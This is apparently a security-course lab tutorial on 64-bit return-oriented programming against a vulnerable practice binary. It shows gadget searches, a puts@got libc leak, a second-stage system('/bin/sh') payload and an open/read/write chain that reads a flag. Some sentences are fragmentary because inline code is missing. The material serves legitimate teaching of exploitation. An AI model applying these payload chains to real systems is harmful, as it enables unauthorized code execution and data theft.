In the last tutorial, we leveraged the leaked code and stack pointers in our control hijacking attacks. In this tutorial, we will exploit the same program without having any information leak, but most importantly, in x86_64 (64-bit).
$ checksec ./target [*] '/home/lab06/tut06-advrop/target' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
DEP (NX) is enabled so pages not explicitly marked as executable are not executable, but PIE is not enabled, meaning that ASLR is not fully enabled and the target executable's image base is not randomized. Note that the libraries, heap and stack are still randomized. Fortunately, like the previous tutorial, the canary is not placed; it means that we can still smash the stack and hijack the very first control flow.
[Task] Your first task is to trigger a buffer overflow and control
You can control
rip with the following payload:
[buf ] [.....] [ra ] -> func [dummy] [.....] -> arg?
However, unlike x86, we can not control the arguments
of the invoked function
by overwriting the stack.
Since the target binary is built for x86_64,
rdi should instead contain the first argument.
In the last tutorial,
we just used the
pop; ret gadget for clearing up the stack,
but this can be leveraged for controlling registers.
For example, after executing
pop rdi; ret,
you are now controlling the value of a register (rdi = arg1)
from the overwritten stack.
Let's control the argument with the following payload:
[buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] [ra ] -> puts() [ra ]
Since our binary is not PIE-enabled, we can still search gadgets in the code section.
- looking for the pop gadget.
$ ropper --file ./target --search "pop rdi; ret" ... [INFO] File: ./target 0x00000000004008d3: pop rdi; ret;
puts() of the randomized libc?
- looking for
Although the actual implementation of
puts() is in the libc,
we can still invoke
puts() by using the resolved address
stored in its GOT.
Do you remember how the program invoked an external function
via PLT/GOT, like this? In other words, we can still invoke
by jumping into the plt code of
0x0000000000400600 <puts@plt>: +--0x400600: jmp QWORD PTR [rip+0x200a12] # GOT of puts() | | (first time) +->0x400646: push 0x0 # index of puts() | 0x40064b: jmp 0x4005f0 <.plt> # resolve libc's puts() | | (once resolved) +--> puts() @libc 0x0000000000400767 <start>: ... 400776: call 0x4006a0 <puts@plt>
pwndbg also provides an easy way to look up plt routines
in the binary:
pwndbg> plt 0x400600: puts@plt 0x400610: printf@plt 0x400620: memset@plt 0x400630: geteuid@plt 0x400640: read@plt 0x400650: strcmp@plt 0x400660: setreuid@plt 0x400670: setvbuf@plt
[Task] Your first task is to trigger a buffer overflow and print out "Password OK :)"! This is our arbitrary read primitive.
Your payload should look like:
[buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> "Password OK :)" [ra ] -> puts@plt [ra ] (crashing)
Although the process image has lots of interesting functions
that we can abuse, it misses much powerful functions
system() that allows us for arbitrary execution.
To invoke arbitrary libc functions, we first need to leak
code pointers pointing to the libc image.
Which part of the process image contains libc pointers? GOT!
The below code is to bridge your invocation from
puts@libc by using the real address of
puts() in GOT.
0x0000000000400600 <puts@plt>: 0x400600: jmp QWORD PTR [rip+0x200a12] # GOT of puts()
What's the address of
rip + 0x200a12 so
0x400606 + 0x200a12 = 0x601018 (
rip pointing to the next instruction).
pwndbg provides a convenient way to look up GOT of the binary
pwndbg> got GOT protection: Partial RELRO | GOT functions: 10 [0x601018] puts@GLIBC_2.2.5 -> 0x7ffff7a64a30 (puts) ◂— push r13 [0x601020] printf@GLIBC_2.2.5 -> 0x7ffff7a48f00 (printf) ◂— sub rsp, 0xd8 ...
[Task] Let's leak the address of
Your payload should look like:
[buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> puts@got [ra ] -> puts@plt [ra ] (crashing)
Note that the output of
puts() might not be 8 bytes (64-bit
pointer), as its address contains multiple zeros (i.e., NULL-byte for
in the most significant bytes.
Now what? We can calculate the base of libc from the leaked
so we can invoke all functions in libc? Perhaps, like below:
[buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> puts@got [ra ] -> puts@plt [ra ] -> pop rdi; ret [arg1 ] -> "/bin/sh"@libc [ra ] -> system()@libc [ra ] (crashing)
In fact, when you are preparing the payload, you don't know
the address of libc; the payload leaking the
not yet executed.
Among all the places we know, is there any place
we can continue to interact with the process?
Our plan is to execute
resolve the address of libc,
and smashing the stack once more.
[Task] Jump to
start()that has the stack overflow. Make sure that you indeed see the program banner once more!
payload1: [buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> puts@got [ra ] -> puts@plt [ra ] -> start
The program is now executing the vulnerable
start() once more,
and waiting for your input. It's time to ROP once more to invoke
system() with the resolved addresses.
payload2: [buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> "/bin/sh" [ra ] -> system@libc
Similar to the last tutorial, we will invoke a sequence of calls to read the flag.
(assume: symlinked anystring -> /proc/flag) 1) open("anystring", 0) 2) read(3, tmp, 1040) 3) write(1, tmp, 1040)
To control the second argument, we need a gadget that pops
(pointing to the second argument in x86_64) and returns.
$ ropper --file ./target --search 'pop rsi; ret' <.. Nop ..>
Although the target binary doesn't have the
pop rsi; ret but
there is one effectively identical.
$ ropper --file ./target --search 'pop rsi; pop %; ret' ... 0x00000000004008d1: pop rsi; pop r15; ret;
open() is pretty doable:
payload2: [buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> "anystring` [ra ] -> pop rsi; pop r15; ret [arg2 ] -> 0 [dummy] (r15) [ra ] -> open()
read(), we need one more gadget to control
its third argument:
pop rdx; ret. Unfortunately, the target binary
doesn't have a proper gadget available.
What should we do? In fact, at this point,
we know the address of the
libc image and
we can chain the rop by using its gadget!
$ ropper --file /lib/x86_64-linux-gnu/libc.so.6 --search 'pop rdx; ret' 0x0000000000001b96: pop rdx; ret; ...
Your payload should like this:
payload2: [buf ] [.....] [ra ] -> pop rdi; ret [arg1 ] -> 3 [ra ] -> pop rsi; pop r15; ret [arg2 ] -> tmp [dummy] (r15) [ra ] -> pop rdx; ret [arg3 ] -> 1040 [ra ] -> read()
[Task] Your final task is to chain open/read/write, and get the real flag from
What if either PIE or ssp (stack canary) is enabled? Do you think we can exploit this vulnerability?